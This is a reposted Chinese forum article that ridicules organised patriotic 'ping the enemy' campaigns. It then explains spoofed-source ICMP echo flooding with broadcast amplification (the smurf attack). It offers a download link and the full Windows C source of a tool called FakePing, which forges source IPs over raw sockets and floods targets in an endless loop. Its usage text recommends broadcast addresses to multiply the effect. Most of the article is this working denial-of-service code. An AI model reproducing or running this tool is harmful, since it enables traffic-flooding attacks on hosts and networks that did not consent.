轉自:http://www.chinaunix.net/jh/29/16081.html
最近不少人又來號召大家一起去Ping死什麼什麼網站,政治我不懂,不過從技術上來說,無論什麼拒絕服務攻擊方式,都需要滿足一個條件:用最少的資源換取被攻擊者最大的消耗。像這樣大家一起去Ping不僅是奇怪的:用最大的資源換取對方最小的傷害;也是可笑的:人民戰爭大概屬於50多年前的行爲了,在互聯網時代,並不是人多就能如何如何的。
一個基本的認識:互聯網的中心在美國,中國的這一部分只不過是互聯網的一個小小分支(也就是相當於美國的一個城域網的概念),我們通往北美的光纜稱爲“北美出口”,出口什麼意思?大門呀,換句話說,也就是瓶頸,這樣大家Ping來Ping去,首先死的是中國的出口網關(中國的北美出口帶寬也不過是GB級的,很寬麼?經得住大家一起往外擠麼?),當然,北美出口歇掉了,我們顯然是看不見美國網站了,喜歡做阿Q的不妨對自己和別人說:“美國被我們炸掉了!”(奇怪吧?可是前些時候不是有自己炮製白宮“被黑”頁面到處散發的?)可是這樣不如我們關掉國門、斷開互聯網,自己在家裏做強國夢好了,想象中我們仍然是在強大的唐朝,世界各地都來朝拜。
閒話少說,我們今天是來說Ping的,Ping是通過發送ICMP報文(類型8代碼0)探尋網絡主機是否存在的一個工具,很久以前,一部分作系統(例如win95),不能很好處理過大的Ping包,導致出現了Ping to Death的攻擊方式(用大Ping包搞垮對方或者塞滿網絡),隨着作系統的升級,網絡帶寬的升級、計算機硬件的升級,目前,大Ping包基本上沒有很大的攻擊效果(分佈式攻擊除外),如果一定要使用Ping包去攻擊別的主機,除非是利用TCP/IP協議的其他特性或者網絡拓撲結構的缺陷放大攻擊的力度(所謂正反饋)
正常情況下,Ping的流程是這樣的: 主機A發送ICMP 8,0報文給主機B 主機B回送ICMp 0,0報文給主機A 因爲ICMP基於無連結,所以就給了我們可乘之機,假設現在主機A僞裝成主機C發送ICMP 8,0報文,結果會怎麼樣呢?顯然,主機B會以爲是主機C發送的報文而去
迴應主機C,結構如下:
僞裝爲主機C 錯誤的回覆 主機A--------------------->;主機B------------------>;主機C 這種情況下,由於主機A只需要不斷髮送Ping報文而不需要處理返回的EchoReply,所以攻擊力度成倍的增加,同時實際上主機B和主機C都是被進攻的目標,而且
不會留下自己的痕跡,是一種隱蔽的一石二鳥的攻擊方法。
上面的方法用SOCK_RAW僞裝IP就可以輕鬆實現,不過即使放大了兩倍,對於比較強壯的作系統和較大的帶寬,也不見得有多大的效果,難道我們又來組織運動?不好吧,還是讓敵人給我們放大好了,TCP/IP中有一個概念叫做廣播,所謂廣播的意思是說有一個地址,任何局域網內的主機都會接收發往這個地址的報文(就像電臺廣播一樣),要是?難道?沒錯!如果我們往廣播地址發送一個ICMP ECHO報文(就是Ping廣播地址一下),結果會得到非常多的迴應,以太網內每一個允許接收廣播報文的主機都會迴應一個ICMP_ECHOREPLY,如果你想試驗,可以在unix的機器上Ping一下你局域網的廣播地址,會看到很多回應的的dup包,就是重複的應答,windows系統上不會有這樣的結果,因爲微軟的Ping程序不對多個迴應進行解包,收到第一個包以後就丟棄後面的了,同樣微軟的系統默認也不迴應廣播地址的包,所以你最好在一個大量unix主機的局域網內測試。
說到這裏,聰明的你肯定知道我想幹什麼了吧?嘿嘿嘿嘿,沒錯,當我們僞裝成被攻擊主機向一個廣播地址發送Ping請求的時候,所有這個廣播地址內的主機都會迴應這個Ping請求(當然是迴應給被攻擊主機啦,人人都以爲是它Ping的呢),這樣,相當於是N倍的攻擊力度!(N=廣播地址內迴應Ping包的主機數量)
我寫了一個FakePing的工具,可以在Http://www.patching.net/shotgun/FakePing.exe下載,使用方法是FakePing.exe FakeIP TargetIP
[PacketSize],如果TargetIP是廣播地址,那麼FakeIP是被攻擊目標. 源碼公佈如下:(寫的比較匆忙,代碼比較亂,見笑了) ////////////////////////////////////////////////////////////////////////// // // // FakePing For Win2K by Shotgun // // // // Released: [2001.4] // // Author: [Shotgun] // // Homepage: // // [http://IT.Xici.Net] // // [http://WWW.Patching.Net] // // // ////////////////////////////////////////////////////////////////////////// #include <winsock2.h>; #include <Ws2tcpip.h>; #include <stdio.h>; #include <stdlib.h>;
#define SEQ 0x28376839 #define STATUS_FAILED 0xFFFF //錯誤返回值
typedef struct _iphdr //定義IP首部 { unsigned char h_verlen; //4位首部長度,4位IP版本號 unsigned char tos; //8位服務類型TOS unsigned short total_len; //16位總長度(字節) unsigned short ident; //16位標識 unsigned short frag_and_flags; //3位標誌位 unsigned char ttl; //8位生存時間 TTL unsigned char proto; //8位協議 (TCP, UDP 或其他) unsigned short checksum; //16位IP首部校驗和 unsigned int sourceIP; //32位源IP地址 unsigned int destIP; //32位目的IP地址 }IP_HEADER;
// // 定義ICMP首部 typedef struct _ihdr { BYTE i_type; //8位類型 BYTE i_code; //8位代碼 USHORT i_cksum; //16位校驗和 USHORT i_id; //識別號(一般用進程號作爲識別號) USHORT i_seq; //報文序列號 ULONG timestamp; //時間戳 }ICMP_HEADER;
//CheckSum:計算校驗和的子函數 USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >;1) { cksum+=*buffer++; size -=sizeof(USHORT); } if(size ) { cksum += *(UCHAR*)buffer; } cksum = (cksum >;>; 16) + (cksum & 0xffff); cksum += (cksum >;>;16); return (USHORT)(~cksum); }
//FakePing主函數 int main(int argc, char **argv) { int datasize,ErrorCode,counter,flag; int TimeOut=2000, SendSEQ=0, PacketSize=32; char SendBuf[65535]={0}; WSADATA wsaData; SOCKET SockRaw=(SOCKET)NULL; struct sockaddr_in DestAddr; IP_HEADER ip_header; ICMP_HEADER icmp_header; char FakeSourceIp[20],DestIp[20]; //接受命令行參數 if (argc<3) { printf("FakePing by Shotgun/n"); printf("/tThis program can do Ping-Flooding from a FakeIP/n"); printf("/tUsing a BroadCast IP as the FakeIP will enhance the effect/n"); printf("Email:/n"); printf("[email protected]/n"); printf("HomePage:/n"); printf("/thttp://It.Xici.Net/n"); printf("/thttp://www.Patching.Net/n"); printf("USAGE:/n/tFakePing.exe FakeSourceIp DestinationIp [PacketSize]/n"); printf("Example:/n"); printf("/tFakePing.exe 192.168.15.23 192.168.15.255/n"); printf("/tFakePing.exe 192.168.15.23 192.168.15.200 6400/n"); exit(0); } strcpy(FakeSourceIp,argv[1]); strcpy(DestIp,argv[2]); if (argc>;3) PacketSize=atoi(argv[3]); if (PacketSize>;60000) { printf("Error! Packet size too big, must <60K/n"); exit(0); } printf("Now Fake %s Ping %s using Packet size=%d bytes/n", FakeSourceIp, DestIp, PacketSize); printf("/tCtrl+C to Quit/n"); //初始化SOCK_RAW if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0) { fprintf(stderr,"WSAStartup failed: %d/n",ErrorCode); ExitProcess(STATUS_FAILED); } if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET) { fprintf(stderr,"WSASocket() failed: %d/n",WSAGetLastError()); ExitProcess(STATUS_FAILED); } flag=TRUE; //設置IP_HDRINCL以自己填充IP首部 ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)); if(ErrorCode==SOCKET_ERROR) printf("Set IP_HDRINCL Error!/n"); __try{ //設置發送超時 ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut)); if (ErrorCode==SOCKET_ERROR) { fprintf(stderr,"Failed to set send TimeOut: %d/n",WSAGetLastError()); __leave; } memset(&DestAddr,0,sizeof(DestAddr)); DestAddr.sin_family=AF_INET; DestAddr.sin_addr.s_addr=inet_addr(DestIp); //填充IP首部 ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本號,低四位首部長度 ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(ICMP_HEADER)); //16位總長度(字節) ip_header.ident=1;
//16位標識 ip_header.frag_and_flags=0;
//3位標誌位 ip_header.ttl=128;
//8位生存時間 TTL ip_header.proto=IPPROTO_ICMP;
//8位協議 (TCP, UDP 或其他) ip_header.checksum=0;
//16位IP首部校驗和 ip_header.sourceIP=inet_addr(FakeSourceIp); //32
位源IP地址 ip_header.destIP=inet_addr(DestIp);
//32位目的IP地址 //填充ICMP首部 icmp_header.i_type = 8; icmp_header.i_code = 0; icmp_header.i_cksum = 0; icmp_header.i_id = 2; icmp_header.timestamp = 999; icmp_header.i_seq=999; memcpy(SendBuf, &icmp_header, sizeof(icmp_header)); memset(SendBuf+sizeof(icmp_header), 'E', PacketSize); icmp_header.i_cksum = checksum((USHORT *)SendBuf, sizeof(icmp_header)+PacketSize); memcpy(SendBuf,&ip_header,sizeof(ip_header)); memcpy(SendBuf+sizeof(ip_header), &icmp_header, sizeof(icmp_header)); memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header), 'E', PacketSize); memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header)+PacketSize, 0, 1); //計算髮送緩衝區的大小 datasize=sizeof(ip_header)+sizeof(icmp_header)+PacketSize; ip_header.checksum=checksum((USHORT *)SendBuf,datasize); //填充發送緩衝區 memcpy(SendBuf,&ip_header, sizeof(ip_header)); while(1) { Sleep(100); printf("."); for(counter=0;counter<1024;counter++) { //發送ICMP報文 ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*)&DestAddr,sizeof(DestAddr)); if (ErrorCode==SOCKET_ERROR) printf("/nSend Error:%d/n",GetLastError()); } } }//End of try __finally { if (SockRaw != INVALID_SOCKET) closesocket(SockRaw); WSACleanup(); } return 0; }
結語: 愛國主義是必要的,熱情是不可少的,但是技術這個東西來不得半點虛假,來不得半點衝動,是要靠老老實實慢慢鑽研的,FakePing技術在互聯網上不是什麼新技術,很久以前被我們唾棄攻擊的美國人就實現過了,難道我們現在還要去組織多少萬人去衝擊互聯網出口?
依靠智慧和知識的阿基米德,曾經用鏡子保護了自己的家園,難道我們現在還要靠衝動和盲目去強國富民麼?
少點衝動和盲目,多點扎實和刻苦,否則吃苦的還是自己。
Patching Heroes...... 中華補天
|